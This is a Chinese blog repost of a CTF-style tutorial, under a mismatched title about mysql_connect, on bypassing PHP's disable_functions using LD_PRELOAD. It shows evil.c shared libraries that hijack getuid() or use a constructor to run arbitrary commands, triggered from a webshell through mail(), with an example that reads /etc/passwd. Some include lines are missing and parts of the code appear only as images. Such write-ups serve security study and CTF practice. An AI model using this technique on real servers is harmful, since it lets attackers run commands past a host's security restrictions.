php使用mysql_connect时未定义此函数如何解决_使用LDPRELOAD绕过disablefunctions

The defense of disable_functions

在大多数CTF比赛中,出题者会设置 disable_functions这种环境变量。因此,在某些情况下,我已经在远程服务器上获得了一个webshell,但我却因为 disable_functions而无法使用一些特定的系统函数。因此,我在本文中将展示突破这种难题的方法。首先,我将在我的docker镜像 php:7.1.19-apache上展示我绕过 disable_functions的方法。

首先,我会找到当前系统加载的文件 php.ini

php -i | grep php.ini

// return with "Loaded Configuration File => /usr/local/etc/php/php.ini"

如果在此路径下找不到该文件,那么您只需要自己创建即可。然后,我在文件中写入 disable_functions=system,exec选项。此时请重新启动服务以使更改生效。举个例子来说,我重启了我在在docker镜像上的apache服务,这样就可以在phpinfo()中看到这些变化。有人可能会将使用 php putenv("");和直接写入 php.ini文件的区别混淆,实际上,我们可以在官方文档中找到答案:添加设置到服务器环境。环境变量仅存在于当前请求状态下。

为了展示 disable_functions是如何工作的,我试着写了一个webshell:

echo system(ls);

// return with "Warning: system() has been disabled for security in /var/www/html/xxx.php"

非常恼人的是,此时尽管您已经获得了shell,但您却不能执行系统函数。在Code Breaking Puzzles比赛中,我使用了各种各样的php函数来解决问题。现在,我将使用 LD_PRELOAD来解决现在我们遇到的这个难题。

Use sendmail to bypass disable_functions

这个方法几年前就已经出现了,它建立在这样的概念之上:当系统试图调用该函数时,该函数位于特定的共享库( xxx.so)中。因此,系统将在调用函数之前加载 xxx.so。换句话说,如果我可以在其中创建一个带有同名evil函数的 evil.so,那么我有机会劫持该函数。

f0eb3eac77bb637d75731558a25ef320.png

首先,我需要选择我想要劫持的函数,在这里我选择 getuid作为劫持函数,因为它是一个非常基本的函数,不需要任何参数。有了 man2getuid,我重写了这个函数:

// evil.c

#include

#include

uid_t getuid(void){

system("ls");

return 0;

}

其次,我需要找到一个可以调用 getuid并运行新进程的php函数。运行新进程的原因就像我上面提到的,我需要重新启动服务来改变 LD_PRELOAD的值。在这里我选择了 mail(),通过 strace-f php mail.php2>&1,我们可以看到,邮件函数不仅可以调用 getuid,还可以使用 execve("/usr/sbin/sendmail",...来创建新进程。

最后一步,我只需要使用 gcc-shared-fPIC evil.c-o evil.so。在我的webshell中:

putenv("LD_PRELOAD=/var/www/html/evil.so");

mail("a","b","c","d");

第一行用来预加载evil共享库。在下一行,当 mail()找到 getuid并尝试运行它时,它实际运行的是其中包含 system("ls")的被劫持函数。除此之外, error_log()还将执行sendmail。尝试运行 error_log("test",1,"","")

但是,系统上没有安装 sendmail,或者开发人员可能会限制执行 /usr/sbin/sendmail,这将导致创建新进程失败。

Without sendmail to bypass disable_functions

在这里,我建议你可以试着不劫持函数进行攻击。我们可以改为直接劫持共享库!我会用这个 __attribute__((__constructor__))这个概念。就像How exactly does attribute((constructor)) work(https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work) 这篇文章中写的一样,在stackoverflow中,它在加载共享库时,通常是在程序启动期间运行。因此,我重写C程序以劫持共享库:

// evil.c

#define _GNU_SOURCE

#include

#include

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

const char* cmd = getenv("CMD");

system(cmd);

}

最后我又一次使用了 gcc-shared-fPIC evil.c-o evil.so,并且写了另一个php webshell:

9aeae23fd804d007205b9237f8a58caa.png

6b2ac79a14ed325d310aae2a8cfaaab4.png

通过 xxx/?cmd=cat/etc/passwd&out=res.txt&sopath=/var/www/html/evil.so,我可以动态执行我想要运行的命令。

重点

1.我们使用 mail()的原因是,函数将会执行sendmail,它将启动一个新进程并运行 getuid(),这样我们就可以劫持 getuid()

2.如果没有sendmail,我们只能放弃劫持 getuid。但我们可以使函数在主函数之前运行劫持新启动的进程。当 mail()尝试启动一个新的子进程时, evil.so会再次加载。

3.如果 mail()也被禁止,我们需要找到的是另一个可以启动新进程的函数。我们可以测试 imagick(),它将启动一个子进程来执行 ffmpeg。同样,我们也可以在 __attribute__上获得成功!

原文链接:https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/

0d0b11230a653d320c943104cb3437bb.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值